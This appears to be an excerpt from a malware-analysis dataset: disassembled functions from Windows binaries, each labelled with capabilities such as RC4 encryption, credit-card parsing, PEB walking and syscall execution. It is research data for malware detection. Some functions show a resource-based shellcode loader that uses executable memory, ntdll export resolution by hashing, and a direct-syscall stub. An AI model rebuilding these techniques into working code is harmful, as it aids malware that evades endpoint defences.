joyce8/EMBER2024-capa huggingface dataset:
Function at 0x540740
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x540920
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x90], r10
lea rax, [0x00651de0]
call fcn.0040d6a0
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor edx, edx
xor ebx, ebx
jmp 0x5407ab
mov rax, rdx
mov rcx, r10
mov rdx, qword [rsp + 0x30]
mov rbx, r8
mov rsi, qword [rsp + 0x60]
cmp rsi, rcx
jle 0x5408d9
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x38]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
call rsi
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x38]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x40]
mov ecx, 4
mov rdi, rcx
call rsi
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x30]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x38]
xor ecx, ecx
mov rdi, qword [rsp + 0x30]
call rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rcx
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rdx + 0x20]
mov rax, qword [rsp + 0x78]
call rsi
mov rdx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x58]
mov r8, qword [rsp + 0x38]
mov r9, qword [rsp + 0x60]
mov r10, qword [rsp + 0x20]
xor eax, eax
jmp 0x540900
mov rdx, qword [rsp + 0x40]
movzx r11d, byte [rdx + 3]
lea r12d, [r11 + 1]
mov byte [rdx + 3], r12b
nop word [rax + rax]
cmp r11b, 0xff
jne 0x54079d
movzx r11d, byte [rdx + 2]
lea r12d, [r11 + 1]
mov byte [rdx + 2], r12b
nop word [rax + rax]
cmp r11b, 0xff
jne 0x54079d
movzx r11d, byte [rdx + 1]
lea r12d, [r11 + 1]
mov byte [rdx + 1], r12b
nop word [rax + rax]
cmp r11b, 0xff
jne 0x54079d
movzx r11d, byte [rdx]
inc r11d
mov byte [rdx], r11b
jmp 0x54079d
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
movzx r11d, byte [r10 + rsi]
movzx r12d, byte [r8 + rax]
xor r11d, r12d
mov byte [rsi + r10], r11b
inc rax
inc r10
nop word [rax + rax]
cmp rdx, rax
jle 0x540868
cmp r9, r10
jle 0x540868
ja 0x5408e3
mov rax, r10
mov rcx, r9
call fcn.00465420
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x40], r10
call fcn.00462d40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
mov r10, qword [rsp + 0x40]
jmp fcn.00540740
Function at 0x547cc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x547f13
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
call fcn.00499080
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
add qword [rcx + 0x68], rax
mov rdx, qword [rcx + 0x60]
nop word [rax + rax]
test rdx, rdx
jle 0x547e17
cmp rdx, 0x40
ja 0x547f05
lea rsi, [rdx - 0x40]
mov rdi, rsi
neg rsi
cmp rax, rsi
cmovl rsi, rax
mov qword [rsp + 0x28], rsi
sar rdi, 0x3f
and rdi, rdx
lea rdx, [rcx + rdi]
lea rdx, [rdx + 0x20]
mov rbx, qword [rsp + 0x60]
nop dword [rax]
cmp rbx, rdx
je 0x547d84
mov rax, rdx
mov rcx, rsi
call fcn.00465dc0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x60]
add rdx, rsi
mov qword [rcx + 0x60], rdx
cmp rdx, 0x40
jne 0x547dee
mov qword [rsp], rcx
lea rax, [rcx + 0x20]
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.00548480
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x60], 0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
cmp rax, rsi
jb 0x547ef6
mov rdi, qword [rsp + 0x70]
sub rdi, rsi
mov rdx, rax
sub rax, rsi
mov r8, rdi
neg rdi
sar rdi, 0x3f
and rsi, rdi
add rbx, rsi
jmp 0x547e24
mov rdx, rax
mov rbx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
cmp rax, 0x40
jl 0x547eaa
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp], rcx
mov qword [rsp + 8], rbx
and rax, 0xffffffffffffffc0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x10], rax
mov qword [rsp + 0x18], r8
call fcn.00548480
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov rcx, qword [rsp + 0x30]
and rax, rcx
and rax, 0xffffffffffffffc0
mov rbx, qword [rsp + 0x40]
add rbx, rax
sub rcx, rdx
mov rdx, qword [rsp + 0x68]
mov rax, rcx
mov rcx, qword [rsp + 0x58]
test rax, rax
je 0x547ee5
cmp rax, 0x40
mov esi, 0x40
cmovl rsi, rax
lea rax, [rcx + 0x20]
cmp rbx, rax
je 0x547ee1
mov qword [rsp + 0x38], rsi
mov rcx, rsi
call fcn.00465dc0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
mov qword [rcx + 0x60], rsi
mov rax, rdx
xor ebx, ebx
xor ecx, ecx
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
mov rcx, rax
mov rax, rsi
nop dword [rax]
call fcn.004654e0
mov rax, rdx
mov ecx, 0x40
call fcn.004654e0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00462d40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00547cc0
Function at 0x5667c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x56692b
sub rsp, 0x70
mov qword [rsp + 0x68], rbp
lea rbp, [rsp + 0x68]
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
lea rax, [0x0069743a]
mov ebx, 6
call fcn.0055e880
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [0x00566940]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
nop
call fcn.004031e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
nop
cmp rcx, 0xffffffffffffffff
je 0x5668e9
mov rdx, qword [rsp + 0x28]
cmp rdx, rcx
jb 0x566925
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
nop
cmp rbx, rcx
jb 0x566918
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rbx
sar rbx, 0x3f
and rcx, rbx
mov r8, qword [rsp + 0x38]
lea rax, [r8 + rcx]
mov rbx, rdi
lea rdx, [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov rax, rcx
mov rcx, rbx
nop
call fcn.004654e0
call fcn.00465460
nop
call fcn.00462d40
jmp fcn.005667c0
Function at 0x5863c0
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x586623
sub rsp, 0xb0
mov qword [rsp + 0xa8], rbp
lea rbp, [rsp + 0xa8]
test rax, rax
je 0x586607
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
test rbx, rbx
jne 0x58640d
xor ebx, ebx
xor ecx, ecx
jmp 0x586420
mov rax, rdx
call fcn.00576680
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x58653b
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop
call fcn.00481a00
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00696b79]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044f220
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.004031e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
nop
jl 0x5864fe
xor eax, eax
lea rbx, [0x007156bc]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x00696c1b]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044f300
jmp 0x58652b
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x00696b82]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044f220
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov rax, qword [rax + 0x18]
nop
call fcn.00481a00
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.004031e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x5865ca
xor eax, eax
lea rbx, [0x007156bc]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x00696c1b]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044f300
jmp 0x5865f7
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00696b82]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044f220
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
lea rax, [0x00697084]
mov ebx, 5
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov qword [rsp + 8], rax
call fcn.00462d40
mov rax, qword [rsp + 8]
jmp fcn.005863c0
Function at 0x58cce0
Capabilities:
Parse credit card information

Disassembly:
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x58ccf8
lea ecx, [rax - 0x41]
cmp cl, 0x19
jbe 0x58ccf8
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x58cd00
xor eax, eax
ret
cmp rbx, 3
je 0x58cd0c
cmp rbx, 4
jne 0x58cd39
cmp al, 0x2c
ja 0x58cd26
lea ecx, [rax - 0x21]
cmp cl, 1
jbe 0x58cd36
cmp al, 0x24
je 0x58cd36
nop dword [rax]
cmp al, 0x26
jae 0x58cd36
jmp 0x58cd39
lea ecx, [rax - 0x3a]
cmp cl, 4
jbe 0x58cd36
cmp al, 0x5b
je 0x58cd36
cmp al, 0x5d
jne 0x58cd39
xor eax, eax
ret
cmp al, 0x2f
ja 0x58cd72
nop dword [rax]
cmp al, 0x26
ja 0x58cd51
cmp al, 0x24
je 0x58cd91
cmp al, 0x26
je 0x58cd91
jmp 0x58ce0b
lea ecx, [rax - 0x2b]
cmp cl, 1
jbe 0x58cd91
lea ecx, [rax - 0x2d]
nop dword [rax]
cmp cl, 1
jbe 0x58ce08
cmp al, 0x2f
je 0x58cd91
jmp 0x58ce0b
cmp al, 0x3d
ja 0x58cd89
lea ecx, [rax - 0x3a]
cmp cl, 1
jbe 0x58cd91
nop
cmp al, 0x3d
je 0x58cd91
jmp 0x58ce0b
lea ecx, [rax - 0x3f]
cmp cl, 1
ja 0x58ce00
cmp rbx, 2
jg 0x58cdc7
cmp rbx, 1
je 0x58cdc1
nop dword [rax]
cmp rbx, 2
jne 0x58ce0b
cmp al, 0x2f
je 0x58cdb2
cmp al, 0x3b
je 0x58cdb2
cmp al, 0x2c
jne 0x58cdb9
mov ecx, 1
jmp 0x58cdbe
cmp al, 0x3f
sete cl
mov eax, ecx
ret
cmp al, 0x3f
sete al
ret
cmp rbx, 5
jne 0x58cdea
cmp al, 0x40
je 0x58cdd9
cmp al, 0x2f
je 0x58cdd9
cmp al, 0x3f
jne 0x58cde2
mov ecx, 1
nop
jmp 0x58cde7
cmp al, 0x3a
sete cl
mov eax, ecx
ret
cmp rbx, 6
je 0x58cdf9
cmp rbx, 7
jne 0x58ce0b
xor eax, eax
ret
mov eax, 1
ret
cmp al, 0x5f
je 0x58ce08
cmp al, 0x7e
jne 0x58ce0b
xor eax, eax
ret
cmp rbx, 7
jne 0x58ce21
cmp al, 0x21
je 0x58ce1d
lea ecx, [rax - 0x28]
cmp cl, 2
ja 0x58ce21
xor eax, eax
nop
ret
mov eax, 1
ret
Function at 0x590d20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x590f3f
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
add qword [rax + 0x58], rcx
mov rdx, qword [rax + 0x50]
test rdx, rdx
jle 0x590e50
nop dword [rax + rax]
cmp rdx, 0x40
ja 0x590f31
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea rsi, [rdx - 0x40]
mov r8, rsi
neg rsi
cmp rcx, rsi
cmovl rsi, rcx
mov qword [rsp + 0x28], rsi
sar r8, 0x3f
and r8, rdx
lea rdx, [rax + r8]
lea rdx, [rdx + 0x10]
cmp rbx, rdx
je 0x590dc2
mov rax, rdx
mov rcx, rsi
call fcn.00465dc0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rax + 0x50]
add rdx, rsi
mov qword [rax + 0x50], rdx
cmp rdx, 0x40
jne 0x590e2c
mov qword [rsp], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.005911e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x50], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
cmp rcx, rsi
jb 0x590f29
sub rdi, rsi
mov rdx, rcx
sub rcx, rsi
mov r8, rdi
neg rdi
sar rdi, 0x3f
and rsi, rdi
add rbx, rsi
jmp 0x590e56
mov rdx, rcx
mov r8, rdi
cmp rcx, 0x40
jl 0x590ed5
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
and rcx, 0xffffffffffffffc0
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], r8
call fcn.005911e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov rcx, qword [rsp + 0x30]
and rax, rcx
and rax, 0xffffffffffffffc0
mov rbx, qword [rsp + 0x40]
add rbx, rax
sub rcx, rdx
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
test rcx, rcx
je 0x590f18
cmp rcx, 0x40
mov esi, 0x40
cmovl rsi, rcx
lea rdi, [rax + 0x10]
cmp rbx, rdi
je 0x590f14
mov qword [rsp + 0x38], rsi
mov rax, rdi
mov rcx, rsi
nop dword [rax + rax]
call fcn.00465dc0
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
mov qword [rax + 0x50], rsi
mov rax, rdx
xor ebx, ebx
xor ecx, ecx
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
mov rax, rsi
call fcn.004654e0
mov rax, rdx
mov ecx, 0x40
call fcn.004654e0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00462d40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00590d20
Function at 0x5a3100
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5a3254
sub rsp, 0x78
mov qword [rsp + 0x70], rbp
lea rbp, [rsp + 0x70]
mov qword [rsp + 0x88], rbx
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
movups xmm0, xmmword [rax + 8]
movups xmmword [rsp + 0x28], xmm0
movups xmm0, xmmword [rax + 0x18]
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0x20]
nop
call fcn.005a2520
mov qword [rsp + 0x10], 0
movups xmmword [rsp + 0x48], xmm15
movups xmmword [rsp + 0x50], xmm15
movups xmmword [rsp + 0x60], xmm15
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0x88]
xor eax, eax
jmp 0x5a31a4
inc rax
mov rcx, rbx
cmp rax, 5
jge 0x5a31f5
imul rdx, rax, 0x33
mov rsi, rdx
sar rdx, 0x3f
shr rdx, 0x3d
add rdx, rsi
sar rdx, 3
mov rdi, rdx
shl rdx, 3
sub rsi, rdx
cmp rsi, 0x40
sbb rdx, rdx
mov r8, qword [rsp + rax*8 + 0x48]
mov rbx, rcx
mov rcx, rsi
shl r8, cl
and r8, rdx
mov qword [rsp + 0x10], r8
mov rdx, qword [rsp + 0x10]
mov qword [rsp + 0x18], rdx
xor ecx, ecx
jmp 0x5a3220
test byte [rcx], al
mov rax, rcx
mov ebx, 0x20
mov rcx, rbx
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
movzx r8d, byte [rbx + rsi]
or r8d, edx
mov byte [rbx + rsi], r8b
inc rcx
nop dword [rax + rax]
cmp rcx, 8
jge 0x5a319e
movzx edx, byte [rsp + rcx + 0x18]
lea rsi, [rdi + rcx]
cmp rsi, 0x20
jge 0x5a319e
test byte [rbx], al
nop
cmp rsi, 0x20
jb 0x5a320c
mov rax, rsi
mov ecx, 0x20
call fcn.00465420
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
nop
call fcn.00462d40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.005a3100
Function at 0x140001000
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140004018]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea r8, str.CODE_BIN
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ebp, ebp
mov qword [rsp + 0x70], rdi
mov rsi, rax
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x70]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x60]
call fcn.1400013c2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x60]
mov r9d, edi
mov rcx, rax
mov qword [rsp + 0x20], rbp
mov r8, rsi
call fcn.1400013d1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rbp
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rbp
mov r9, rax
mov rax, qword [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rbp
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rax
call fcn.1400013e0
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call fcn.1400013ef
mov rcx, qword [rsp + 0x68]
call fcn.1400013fe
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001420
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001140
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x140004050], 0
jne 0x140001320
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x14000132a
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x1400011ae
lea rdx, [r9 + rcx]
mov ecx, dword [r9 + rcx + 0xc]
mov eax, dword [rcx + r9]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x1400011ae
mov eax, dword [rcx + r9 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x1400011ba
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140001171
test rdx, rdx
je 0x14000132a
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r9
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r9
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r9
mov qword [rsp], r15
xor r8d, r8d
lea r15, [0x140004050]
nop dword [rax + rax]
dec ebx
mov edx, dword [rsi + rbx*4]
add rdx, r9
cmp word [rdx], r12w
jne 0x140001273
xor r11d, r11d
mov r10d, 0x360d32c6
mov rax, rdx
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r10d, ecx
cmp byte [rax], 0
jne 0x140001230
lea rcx, [r8*8]
inc r8d
mov dword [rcx + r15 + 4], r10d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp r8d, 0x1f4
je 0x140001277
test ebx, ebx
jne 0x140001210
mov r14, qword [rsp + 8]
lea eax, [r8 - 1]
mov r12, qword [rsp + 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x140004050], r8d
test eax, eax
je 0x140001312
nop dword [rax]
mov ecx, r8d
xor eax, eax
sub ecx, edx
cmp ecx, 1
je 0x140001308
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x1400012f9
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov r8d, dword [0x140004050]
mov ecx, r8d
mov eax, r9d
sub ecx, edx
dec ecx
cmp r9d, ecx
jb 0x1400012b0
inc edx
lea eax, [r8 - 1]
cmp edx, eax
jb 0x1400012a0
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret

Function at 0x140001380
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, dword [section..data]
call fcn.140001340
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140022130
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14002213d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14002214d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140022135
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140022165
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140022152
sub eax, 3
jb 0x14002217f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400221b6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400221a6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400221a4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140022193
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.1400220f2
jmp 0x14002213d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x14200
mov dl, 6
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140022206
cmp rsi, rcx
jae 0x14002220e
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400221ed
cmp al, 0x8f
ja 0x1400221ed
cmp byte [rsi - 2], 0xf
je 0x1400221f3
sub al, 0xe8
cmp al, 1
ja 0x1400221d7
